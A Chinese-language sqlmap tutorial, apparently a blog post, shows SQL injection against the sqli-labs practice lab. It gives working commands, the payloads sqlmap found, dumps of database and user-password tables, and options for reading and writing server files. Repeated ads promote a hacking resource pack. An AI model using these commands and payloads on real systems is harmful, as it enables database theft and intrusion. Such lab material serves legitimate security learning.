SQL注入测试实战教程:使用sqlmap进行数据库渗透
SQL注入概述
SQL注入是一种攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着可以控制和操作网站数据,甚至完全接管网站。
SQLMap是一个工具,专门用于简化SQL注入过程。它能够自动扫描并识别可能的注入点,然后提供多种功能来执行SQL语句,如SELECT、INSERT、UPDATE和DELETE等。这使得获取、修改或删除数据变得容易。
此外,SQLMap也可用于检测应用程序是否存在SQL注入漏洞,这对保护自己的应用或发现他人应用的漏洞非常有用。
SQLMap不需要特别的编程知识,即使新手也能快速上手。它提供了详细的文档和教程,帮助用户掌握其使用方法。
总之,SQLMap是一个强大的工具,能帮助用户完全控制一个网站的数据库,获取、修改甚至删除数据。它是安全测试的重要工具之一。
SQLMap支持的五种注入模式:
| - 基于布尔类型的盲注,通过页面返回判断条件真假 |
|---|
| - 基于时间的盲注,通过时间延迟判断是否执行成功 |
| - 报错注入,页面返回错误信息或直接显示注入结果 |
| - 联合查询注入,在Union可用的情况下注入 |
| - 堆叠查询注入,同时执行多条语句时的注入 |
SQLMap支持的主要数据库类型:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
SQLMap的安装与使用:
注意: SQLMap需要Python3环境!
为了方便学习,我们准备了一份完整的《网络安全入门+进阶学习资源包》,包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

首先下载压缩包(扫描加我获取资料),解压后在sqlmap.py所在的目录打开终端:

接着在终端中输入 python sqlmap.py -h 查看帮助页面:
出现下面的内容就表明SQLMap运行成功:
\sqlmap-master\sqlmap-master> python sqlmap.py -h
___
__H__
___ ___["]_____ ___ ___ {1.7.5#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: sqlmap.py [options]
使用SQLMap对目标进行常规扫描:
以sqli-labs-master靶场的less-1为例:
首先复制浏览器中的链接:

在终端中输入如下命令:
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
如果希望BurpSuite捕获请求包,可以使用SQLMap的 –proxy 参数 :
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080
SQLMap开始扫描: BurpSuite抓包:


SQLMap扫描过程中如果出现选项直接选Y即可:
it looks like the back-end DBMS is 'MySQL'.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include
all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
SQLMap扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含个人添加的翻译,方便理解):
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:---
SQLMAP使用50个HTTP请求识别了以下注入点:
Parameter: id (GET)
Type: boolean-based blind (基于布尔的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3826=3826 AND 'mrQK'='mrQK
Type: error-based (报错注入)
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HuUe'='HuUe
Type: time-based blind (时间盲注)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND 'LVya'='LVya
Type: UNION query (联合注入)
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5616' UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- -
---
SQLMap还对关键点进行了编码,以绕过可能的过滤机制。
注入成功后获取数据库基本信息:
获取服务器中有哪些数据库:
使用的参数为 --dbs
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 --dbs
发现成功获取到目标主机中的所有数据库名:
available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] xionghai_database
获取数据库中有那些表:
使用的参数为 -D 数据库名 --tables
这里我们查询security数据库:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 -D security --tables
发现SQLMap不仅给出了有哪些表,还给出了目标服务器的web信息:
获取数据表中的字段名:
使用的参数为 -D 数据库名 -T 表名 --columns
这里我们使用security中的users表:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMap不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(20) |
| id | int(3) |
| username | varchar(20) |
+----------+-------------+
获取数据表中的字段数据
使用的参数为 -D 数据库名 -T 表名 -C "字段名1,字段名2…" --dump
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080
-D security -T users -C "id,username,password" --dump
Database: security
Table: users
[16 entries]
+-----+------------+----------+
| id | password | username |
+-----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | 123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
以上只是SQLMap最基础的用法,下面我们来总结并拓展更多用法:
为了方便学习,我们准备了一份完整的《网络安全入门+进阶学习资源包》,包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

SQLMap用法的总结与拓展:
基本的检测方式:
| 基本格式: | sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
|---|---|
| 跟随302跳转: | sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
| cookie注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie) |
| 从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包) |

拓展:SQLMap的-u参数与-r参数
-u参数后面接的是URL,一般用于扫描GET请求
-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:
例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)


在终端中使用 python sqlmap.py -r 1.txt --dbs查询有哪些数据库
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
获取数据库基本信息:
| 查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
|---|---|
| 查询security数据库中有哪些表 | -r XX.txt -D security --tables |
| 查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
| dump出字段username与password中的数据 | -r XX.txt -D security -T users -C "username,password" --dump |
sqlmap支持五种不同的注入模式:
| - 支持基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。 |
|---|
| - 支持基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断。 |
| - 支持报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。 |
| - 支持联合查询注入,即在可以使用Union的情况下注入。 |
| - 支持堆叠查询注入,即可以同时执行多条语句时的注入。 |
sqlmap的基本使用方式:
基本的检测方式:
| 扫描单个URL: | sqlmap -u <target_url> |
|---|---|
| 扫描多个URL: URL之间用空格分隔 | sqlmap -u <target_url1> <target_url2> ... |
| 基本格式: | sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
| 跟随302跳转: | sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
| cookie注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie) |
| 从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定POST请求所在的路径 |

拓展:sqlmap跟随302跳转
在使用SQLMap进行注入攻击时,有时会遇到目标网站使用302重定向的情况。
这可能会使你无法直接注入目标页面,因为重定向会将请求导向另一个页面。
在这种情况下,我们可以尝试以下方法:
使用Burp Suite或其他代理工具捕获HTTP请求并进行手动重定向:
使用Burp Suite等工具可以捕获目标网站的HTTP请求,
然后手动修改请求的URL以跟随302重定向。
这样可以让你将SQLMap的注入请求发送到目标页面。
使用SQLMap的"--follow-redirect"选项:
SQLMap提供了一个"--follow-redirect"选项,可以自动跟随302重定向。
使用该选项可以使SQLMap自动将注入请求发送到目标页面。
例如,使用以下命令启用"--follow-redirect"选项:
sqlmap --follow-redirect -u <target_url>
请注意,在某些情况下,网站可能会使用其他类型的重定向(如301重定向),
而SQLMap可能无法自动跟随这些重定向。
在这种情况下,你需要手动处理HTTP请求并确保将注入请求发送到目标页面。
获取数据库基本信息:
| 查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
|---|---|
| 查询security数据库中有哪些表 | -r XX.txt -D security --tables |
| 查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
| 查询字段username与password中的数据 | -r XX.txt -D security -T users -C "username,password" --dump |
从数据库中搜索特定字段:
| 在security数据库中搜索字段admin或者password。 | sqlmap -r "c:\tools\request.txt" --dbms mysql -D security --search -C admin,password |
|---|
读取与写入文件:
首先找需要网站的物理路径,其次需要有可写或可读权限。
假设目标网站的URL为http://example.com/upload/file.txt
| 从指定的URL路径http://example.com/upload/file.txt)中读取文件,并将内容输出到标准输出。 | sqlmap --file-read --file-path=file.txt --url="http://example.com/upload/file.txt" |
|---|---|
| 向指定的URL路径http://example.com/upload/file.txt)中写入指定的内容。 | sqlmap --file-write --file-path=file.txt --file-content="<Your content here>" --url="http://example.com/upload/file.txt" |
sqlmap 详细命令:
| - 当前用户权限(是否为root权限) | --is-dba |
|---|---|
| - 所有数据库 | --dbs |
| - 网站当前数据库 | --current-db |
| - 所有数据库用户 | --users |
| - 当前数据库用户 | --current-user |
| - 构造随机user-agent | --random-agent |
| - 数据库密码 | --passwords |
| - (可以自定义线程加速) 代理 | --proxy http://local:8080 --threads 10 |
| - 响应的延迟时间(默认为5秒) | --time-sec=TIMESEC DBMS |
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)

3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单👈

6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
